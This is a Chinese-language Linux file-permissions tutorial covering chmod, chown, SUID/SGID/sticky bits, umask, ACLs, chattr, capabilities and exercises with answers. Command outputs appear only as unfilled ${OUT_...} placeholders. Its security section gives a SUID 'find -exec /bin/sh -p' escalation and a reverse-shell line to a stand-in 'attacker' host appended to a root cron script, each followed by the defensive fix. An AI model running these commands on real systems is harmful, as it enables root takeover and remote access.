Linux文件权限分为三组,分别对应文件属主(u)、属组(g)、其他人(o),每组三个权限位:
-rwxr-xr-- 1 root root 1234 Jan 1 10:00 myfile
│├──┤├──┤├──┤
│ │ │ └── others: r-- (4)
│ │ └────── group: r-x (5)
│ └────────── user: rwx (7)
└──────────── 文件类型: - 普通文件
| 字符 | 类型 | 说明 |
|---|---|---|
| - | 普通文件 | 文本、二进制等 |
| d | 目录 | 目录文件 |
| l | 符号链接 | 快捷方式 |
| b | 块设备 | 磁盘等 |
| c | 字符设备 | 终端等 |
| p | 命名管道 | FIFO |
| s | 套接字 | Unix socket |
| 权限 | 文件含义 | 目录含义 |
|---|---|---|
| r (4) | 读取文件内容 | 列出目录内容(ls) |
| w (2) | 修改文件内容 | 创建/删除目录内文件 |
| x (1) | 执行文件 | 进入目录(cd)/访问目录内文件 |
权限计算:r=4, w=2, x=1
rwx = 4+2+1 = 7
r-x = 4+0+1 = 5
r-- = 4+0+0 = 4
--- = 0+0+0 = 0
常见权限组合:
755 = rwxr-xr-x (目录/可执行文件)
644 = rw-r--r-- (普通文件)
700 = rwx------ (私有目录/脚本)
600 = rw------- (私密文件,如密钥)
777 = rwxrwxrwx (⚠️ 危险,避免使用)
# 符号法
chmod u+x file # 属主添加执行权限
chmod g-w file # 属组去掉写权限
chmod o=r file # 其他人设为只读
chmod a+x file # 所有人添加执行权限
chmod u+s file # 设置SUID
# 数字法
chmod 755 file # rwxr-xr-x
chmod 644 file # rw-r--r--
chmod 700 dir # rwx------
# 递归修改
chmod -R 755 /var/www/ # 递归设置目录权限
# 修改属主
chown user file
chown user:group file # 同时修改属主和属组
chown :group file # 仅修改属组(等同于chgrp)
chown -R user:group dir # 递归修改
$ ls -la /etc/passwd /etc/shadow /etc/sudoers /tmp
${OUT_PERM}
$ stat -c '%a %U %G %n' /etc/passwd /etc/shadow /home
${OUT_CHOWN}
$ id
${OUT_CHOWN}
当执行设置了SUID的程序时,进程以文件属主的身份运行,而非执行者的身份。最经典的例子是passwd命令——普通用户修改密码需要写入/etc/shadow,而该文件仅root可读。
$ find /usr/bin -perm -4000 -type f 2>/dev/null | head -10
${OUT_SUID}
对文件:执行时以文件属组身份运行。对目录:在该目录下创建的文件自动继承目录的属组(而非创建者的主组)。这是共享目录的常用设置。
$ find /usr/bin -perm -2000 -type f 2>/dev/null | head -10
${OUT_SGID}
仅对目录有效。设置了Sticky Bit的目录中,用户只能删除自己拥有的文件,即使对目录有写权限。最典型的例子是/tmp。
$ find / -maxdepth 3 -perm -1000 -type d 2>/dev/null | head -5
${OUT_STICKY}
SUID = 4 (前置), SGID = 2, Sticky = 1
chmod 4755 file # SUID + rwxr-xr-x
chmod 2755 dir # SGID + rwxr-xr-x
chmod 1777 /tmp # Sticky + rwxrwxrwx
# 符号法
chmod u+s file # 设置SUID
chmod g+s dir # 设置SGID
chmod +t dir # 设置Sticky Bit
umask定义了新建文件/目录时去掉的权限位。新建文件的权限 = 最大权限 - umask。
文件默认最大权限: 666 (rw-rw-rw-)
目录默认最大权限: 777 (rwxrwxrwx)
umask 022 时:
文件: 666 - 022 = 644 (rw-r--r--)
目录: 777 - 022 = 755 (rwxr-xr-x)
umask 027 时:
文件: 666 - 027 = 640 (rw-r-----)
目录: 777 - 027 = 750 (rwxr-x---)
$ umask
${OUT_UMASK}
# 设置umask
umask 027 # 当前会话生效
echo "umask 027" >> ~/.bashrc # 永久生效
# 验证umask效果
umask 077
touch /tmp/test-umask-file
mkdir /tmp/test-umask-dir
ls -la /tmp/test-umask-*
# 文件应为 rw------- (600)
# 目录应为 rwx------ (700)
传统权限模型只有3组(属主/属组/其他),当需要给特定用户或组设置不同权限时,需要ACL。
# 安装ACL工具
sudo apt install acl
# 查看ACL
getfacl file
# 设置ACL
setfacl -m u:alice:rw file # 给用户alice设置rw权限
setfacl -m g:dev:rwx dir # 给组dev设置rwx权限
setfacl -m d:u:alice:rw dir # 默认ACL(新建文件继承)
# 删除ACL
setfacl -x u:alice file # 删除特定ACL条目
setfacl -b file # 删除所有ACL
$ getfacl /tmp
${OUT_ACL}
ls -l输出中权限部分会多一个+号,如-rw-rw-r--+。这是ACL存在的标志。
# 创建测试环境
mkdir -p /tmp/perm-test
cd /tmp/perm-test
# 创建文件和目录
touch file1.txt
mkdir dir1
# 查看默认权限
ls -la
# 修改权限
chmod 750 file1.txt
chmod 770 dir1
ls -la
# 修改属主
chown root:root file1.txt
ls -la file1.txt
# 测试特殊权限
# 创建共享目录
mkdir shared-project
chmod 2770 shared-project # SGID
ls -ld shared-project
# 设置ACL
setfacl -m u:www-data:r-x dir1 2>/dev/null || echo "ACL not available"
getfacl dir1
排查步骤:
# 1. 查看文件权限
ls -la /path/to/file
# 2. 查看当前用户
id
# 3. 查看ACL
getfacl /path/to/file
# 4. 检查父目录权限
namei -l /path/to/file
# 5. 检查SELinux/AppArmor
getenforce 2>/dev/null || echo "SELinux not installed"
aa-status 2>/dev/null || echo "AppArmor not installed"
原因:目录设置了Sticky Bit,只能删除自己的文件
# 查看目录权限
ls -ld /tmp
# 如果最后一位是t,说明有Sticky Bit
# drwxrwxrwt → 有Sticky Bit
# 解决方案:
# 1. 使用文件属主身份删除
# 2. 使用root删除
# 3. 移除Sticky Bit(需要root)
sudo chmod -t /shared-dir
计算以下权限的八进制值:
答案:755, 640, 444, 700, 4755
为以下场景设计合适的权限方案:
/var/www/html:所有者root,www-data组可读~/.ssh/id_rsa:仅所有者可读写/opt/project:project组共享,新文件自动归属project组/tmp:所有人可写,但只能删自己的文件# 参考答案
# 1.
chown root:www-data /var/www/html
chmod 750 /var/www/html
# 2.
chmod 600 ~/.ssh/id_rsa
# 3.
chown :project /opt/project
chmod 2770 /opt/project
# 4.
chmod 1777 /tmp
✅ 理解rwx权限模型
✅ 掌握chmod/chown/chgrp命令
✅ 了解SUID/SGID/Sticky Bit
✅ 学会使用ACL精细控制
✅ 理解umask默认权限
find / -perm -4000 -o -perm -2000/etc/shadow 应为640或600~/.ssh/ 700, ~/.ssh/id_rsa 600案例1:SUID提权
如果find命令有SUID位,攻击者可以:
# 危险!如果find有SUID
find . -exec /bin/sh -p \;
案例2:可写脚本提权
如果root拥有的cron脚本对其他用户可写:
# 攻击者可以修改root的cron脚本
echo '/bin/bash -i >& /dev/tcp/attacker/4444 0>&1' >> /opt/backup.sh
# 当cron以root执行时,获得root shell
# 防御:确保cron脚本权限正确
chmod 700 /opt/backup.sh
chown root:root /opt/backup.sh
# 设置不可变属性(即使root也无法修改,直到取消)
sudo chattr +i /etc/resolv.conf
# 查看属性
lsattr /etc/resolv.conf
# 取消不可变
sudo chattr -i /etc/resolv.conf
# 只追加属性(日志文件防篡改)
sudo chattr +a /var/log/important.log
传统模型中,root拥有全部特权。Capabilities将root权限分解为具体的 Capability,可以单独授予进程。
# 查看文件的capabilities
capsh --print
getcap /usr/bin/ping
# 常见capabilities
# CAP_NET_RAW - 使用原始套接字(ping需要)
# CAP_NET_BIND_SERVICE - 绑定1024以下端口
# CAP_SYS_ADMIN - 最广泛的capability
# CAP_DAC_OVERRIDE - 绕过文件权限检查
# 给程序设置capability(替代SUID)
sudo setcap cap_net_raw+ep /usr/bin/ping
# 这比SUID更安全:程序只获得需要的权限,而非完整的root权限
| 场景 | 文件权限 | 目录权限 | 说明 |
|---|---|---|---|
| 私有文件 | 600 | 700 | 仅属主可访问 |
| 团队共享 | 660 | 770 | 属组可读写 |
| 公开只读 | 644 | 755 | 所有人可读 |
| 可执行程序 | 755 | 755 | 所有人可执行 |
| CGI脚本 | 700 | 755 | 仅属主可执行 |
| 共享上传 | 644 | 1777 | Sticky防互删 |
| 密钥文件 | 600 | 700 | 严格私有 |